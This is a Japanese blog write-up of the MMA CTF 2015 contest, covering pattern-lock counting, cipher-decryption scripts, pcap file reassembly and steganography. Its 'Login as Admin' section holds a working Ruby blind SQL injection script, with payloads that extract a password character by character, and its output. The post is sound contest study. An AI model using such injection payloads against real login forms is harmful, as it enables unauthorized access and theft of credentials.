ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

MMACTF 1st 2015 write up と死んだ話

MMA CTF 1st 2015(2015/09/05 00:00 - 2015/09/07 00:00 (UTC)) にぼっち参加しました。

MMA CTF 1st 2015

結果は250 pts で終了5時間前に見た時は215位でした(全体で600チームぐらい居た;最終228位)。 今となっては最後まで起きれなかったことが悔やまれます。 電気通信大学 MMAのみなさんありがとうございました。 いい問題が多かったような感じがします。

write up

Pattern Lock

Androidスマートフォンには、パターンロックという機能がある。
パターンロックは次の図(省略)に示すような3x3のドットを用いて行なわれる。
パターンの例として次のようなものがある。

パターンには次のような条件が存在する。
    • 同じドットを2度と通らない
    • 少なくとも4つのドットを通る
    • あるドットから別のドットに線を引く際に、その線分上にまだ通っていない点がある場合は、先にその点を通らなければならない
パターンロックに使えるパターンの総数を求めよ。
フラグはパターンの総数を10進整数で表したものである。(Flag 1)。
パターンロックを4x4に拡張した時の最長のパターンの長さを求めよ。(Flag 2)。
ただし、2つの上下左右に隣接するドットの間隔を1とする。
長さは10進数で小数以下4桁までを答えること(XX.XXXX)。
この問題はフラグの形式MMA{...}ではないことに注意すること。

Flag 1

適当にググれば3x3のパターン数は389112ということが分かります。

Flag 2

最大経路長の候補をプログラムで計算して回答させました。 運営さんごめんなさい… (2x0, 3x0も考えないといけないでしょうけど省きました)

最大経路長の候補は約1300通りになりました。 予め最低でもこのぐらいはあるという検討をつけるのがポイントでしょうか…

var _0x1, _1x1, _1x2, _1x3, _2x3, _2x2, _3x3;
var test = [];
// var lower_limit = 13 * Math.sqrt(5) + 1 * Math.sqrt(10) + 1 * Math.sqrt(13);
var lower_limit = 2 * Math.sqrt(2) + 2 * Math.sqrt(5) + 3 * Math.sqrt(10) + 8 * Math.sqrt(13);
// var lower_limit = 1 * Math.sqrt(2) + 1 * Math.sqrt(5) + 3 * Math.sqrt(10) + 5 * Math.sqrt(13) + 5;

function l(a, b){
    return Math.sqrt(a * a + b * b);
}

function init(){
    for(_3x3 = 2; _3x3 >= 0; _3x3--){ // 高々2
        for(_2x2 = 0; _2x2 <= 8; _2x2++){ // 高々8  
            for(_2x3 = 0; _2x3 <= 8; _2x3++){ // 高々8
                for(_1x3 = 0; _1x3 <= 12; _1x3++){ // 高々12
                    for(_1x2 = 0; _1x2 <= 15; _1x2++){
                        for(_1x1 = 0; _1x1 <= 15; _1x1++){
                            _0x1 = 15 - (_2x3 + _1x3 + _1x2 + _1x1 + _2x2 + _3x3);
                            if(_0x1 < 0) break;
                            // console.log([_0x1, _1x1, _1x2, _1x3, _2x3]);
                            var length = _2x3 * l(2, 3) + _1x3 * l(1, 3) + 
                                _1x2 * l(1, 2) + _1x1 * l(1, 1) + _0x1 * 1 +
                                _2x2 * l(2, 2) + _3x3 * l(3, 3);
                            if(length > lower_limit){
                                test.push(length.toFixed(4)); // 四捨五入
                                if((length*100000)%10 >= 5){
                                    test.push((length-0.00005).toFixed(4)); // 切り捨て
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

// init();
// test.sort();
// test = test.filter(function (element, index, self) {
//   return self.indexOf(element) === index;
// });
// console.log(test);
// console.log(test[0]);
// console.log(test.length);
// return;

var ??? = ????????;
var ??? = ????????;

function submit(i){
  // 迷惑な解法なので自主規制
}

init();
test.sort();
test = test.filter(function (element, index, self) {
  return self.indexOf(element) === index;
});
console.log(test);
console.log(test[0]);
console.log(test.length);
submit(0);

(自主規制部も含めて完全なコードがほしい方はTwitterでリプってください※F/F限定とします)

smart cipher system

crypt2

AからZまで一通り試すと次のcipherを得られます。

2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 

1対1対応していると検討できます。 なのでpythonで対応付けを解析させ、与えられたcipherをdecryptしました。

import sys

#  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
# for i in xrange(0x20, 0x7e):
#     sys.stdout.write(chr(i))

def decrypt(c):
    sys.stdout.write(l1[l2.index(c)])
    sys.stdout.flush()

l1 = list()
l2 = "09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 ".split(" ")
for i in xrange(0x20, 0x7e):
    l1.append(chr(i))

ct = "36 36 2a 64 4b 4b 4a 21 1e 4b 1f 20 1f 21 4d 4b 1b 1d 19 4f 21 4c 1d 4a 4e 1c 4c 1b 22 4f 22 22 1b 21 4c 20 1d 4f 1f 4c 4a 19 22 1a 66 ".split(" ")
map(decrypt, ct)

crypt4

これも1対1対応しているので同様にdecryptしました。

import sys

#  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}
# for i in xrange(0x20, 0x7e):
#     sys.stdout.write(chr(i))

def decrypt(c):
    sys.stdout.write(l1[l2.index(c)])
    sys.stdout.flush()

l1 = list()
l2 = "b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff".split(" ")
for i in xrange(0x20, 0x7e):
    l1.append(chr(i))

ct = "e3 e3 83 21 33 96 23 43 ef 9a 9a 05 18 c7 23 07 07 07 c7 9a 04 33 23 07 23 ef 12 c7 04 96 43 23 23 18 04 04 05 c7 fb 18 96 43 ef 43 ff".split(" ")
map(decrypt, ct)

splitted

f:id:katc:20150907154536p:plain wiresharkでsplitted.pcapを開きます。 Percial Content をいくつか見つけることができます。 少なくともCGI/Moduleのスクリプト側(PHP, Rubyなど)でそのようにコーディングすれば、リクエストヘッダでRengeを指定すると指定されたバイトの間の部分だけストリームさせることができます。 幸いにもレスポンスContent-Rangeが残っているのでWiresharkでExport Objectした後(正確にはExport Selected Packet Bytesした気がする)、次の手順でターミナルで結合してあげると完全なzipファイルを得られました。

$ ls -1
flag-0.zip
flag-1407.zip
flag-1876.zip
flag-2345.zip
flag-2814.zip
flag-3283.zip
flag-469.zip
flag-938.zip


$ cat flag-0.zip | xxd | head
00000000: 504b 0304 1400 0000 0800 479b 2447 c2f7  PK........G.$G..
00000010: 4289 fb0d 0000 2dd3 0000 0800 1c00 666c  B.....-.......fl
00000020: 6167 2e70 7364 5554 0900 03c5 71e9 55c8  ag.psdUT....q.U.
00000030: 71e9 5575 780b 0001 04e8 0300 0004 e803  q.Uux...........
00000040: 0000 ed9a 7b74 1475 96c7 6f75 7577 121e  ....{t.u..ouuw..
00000050: 91b7 7080 1d75 5514 9db1 1d41 39bb 2228  ..p..uU....A9."(
00000060: e844 8687 333c 9c33 8e8a 8380 0fc4 88b0  .D..3<.3........
00000070: 725c 4609 5167 71d0 5189 b20a 0e2a 28f8  r\F.Qgq.Q....*(.
00000080: 1a71 005d cf82 ba0e 8aee aae8 8c22 b018  .q.]........."..
00000090: 0209 2440 0279 75fa dddf fd56 5577 7575  ..$@.yu....VUwuu

$ cat flag-0.zip >> flag.zip

$ cat flag-469.zip >> flag.zip

$ cat flag-938.zip >> flag.zip

$ cat flag-1407.zip >> flag.zip

$ cat flag-1876.zip >> flag.zip

$ cat flag-2345.zip >> flag.zip

$ cat flag-2814.zip >> flag.zip

$ cat flag-3283.zip >> flag.zip

$ unzip -l flag.zip
Archive:  flag.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    54061  09-04-2015 19:26   flag.psd
---------                     -------
    54061                     1 file

中にpsdが入っているので開きました。 Photoshopで開くとレイヤーと背景が逆だったのでレイヤを入れ替えてフラグゲット! f:id:katc:20150907154547p:plain

Nagoya Castle

ここに城の写真がありますね f:id:katc:20150907155027p:plain

stegsolveでポチポチすればフラグが浮き上がってきます。 f:id:katc:20150907155116p:plain

Login as Admin

この問題では(ブラインド)SQLインジェクションできます。 ksnctfの類題ですね。 ユーザー名を入れるusername, user_name, user_id, id と言ったカラムが無かったので困りましたが、パスワードはtestよりも小さいMMA{???}なのでMINで選択できます。 (どうもuserというカラムがあったそうですね)

require 'uri'
require 'net/http'

module Login
    @@uri  = URI.parse 'http://arrive.chal.mmactf.link/login.cgi'

    def self.get_password_size
        n_min = 1
        n_max = 30

        while true
            n = (n_min + n_max)/2
            # username というカラムがない!
            # passwordは MMA{} という形式なので test よりも小さい → MIN() が使える
            param = { username: "admin", password: "' or (SELECT length(MIN(password)) FROM user) <= #{n} --"}
            res = Net::HTTP.post_form @@uri, param

            # puts res.body
            # if res.body.include?("logout") 
            if !res.body.include?("invalid") 
                n_max = n
            else
                n_min = n
            end

            if (n_max - n_min) <= 1
                puts "password has #{n_max} chars"
                break
            end
        end

        n_max

    end

    def self.get_password password_length
        pass = ''
        (1..password_length).each do |n|
            (33..127).each do |charcode|
                param = {  username: "admin", password: "' or substr((SELECT MIN(password) FROM user), #{n}, 1)='#{charcode.chr}'--" }
                res = Net::HTTP.post_form @@uri, param

                # puts res.body
                # if res.body.include?("logout")
                if !res.body.include?("invalid") 
                    pass += charcode.chr
                    puts "hit!! #{n}:#{charcode.chr}"
                    break
                end
            end
        end

        puts "password is #{pass}"
    end
end

pass_len = Login.get_password_size
Login.get_password pass_len
C:\Users\***\OneDrive\CTF\MMA2015>ruby login.rb
password has 20 chars
hit!! 1:M
hit!! 2:M
hit!! 3:A
hit!! 4:{
hit!! 5:c
hit!! 6:a
hit!! 7:t
hit!! 8:s
hit!! 9:_
hit!! 10:a
hit!! 11:l
hit!! 12:i
hit!! 13:c
hit!! 14:e
hit!! 15:_
hit!! 16:b
hit!! 17:a
hit!! 18:n
hit!! 19:d
hit!! 20:}
password is MMA{cats_alice_band}

死んだ話

smart cipher system

crypt6

一文字目がplain textの長さの影響を受け、後続の文字は前の文字との何らかの差っぽいものが出てくるところまでは分かったのですが、解くに至らず死。

howtouse

マジックバイトがMZになっていたのでNZに直した。 f:id:katc:20150907160227p:plain

実行できなくて死。 strings, base64 -d, objdumpしたものの何も分からず死。

uploader

分かったこと

  • /<\?\s*php/ が除去される
    • 除去の有無は拡張子に依存しない
  • exe拡張子がついたファイルはアップロードできない
  • 画像ファイルはサイズが0x0のファイルに変貌する

<?php ?> 以外の方法が PHP: HTML からの脱出 - Manual という変な名前のセクションに書かれていたのに気付かずに/知らずに死。無限の辛さしかこみ上げない…

PHP: PHP タグ - Manual は見たんですけどねぇ。

Miyako

stegsolver役に立たず死。

Mortal Magi Agents

分かったこと

  • ログイン状態によらず、contacts.php, /?page=contacts, /?contacts は存在しない
  • admin というユーザー名でSign Upできる
  • Sign Upでパスワードの入力は必須でない
  • ユーザー名にはバリデーションが働く
  • avatorはスクリプトファイルでもよいが、実行されるというわけではない

以上の情報が突破口にならずに死。

QR code recovery challenge

破損したQR コードが与えられた。 f:id:katc:20150907163251j:plain

github.com

strong-qr-decoder に通したが先頭8文字しか取り出せなかった。 エラー訂正が効いてないっぽくてどうしたらいいか分からず死。

f:id:katc:20150907163312p:plain f:id:katc:20150907163324p:plain

ほか

他の問題も手を付けたが意味不過ぎて死。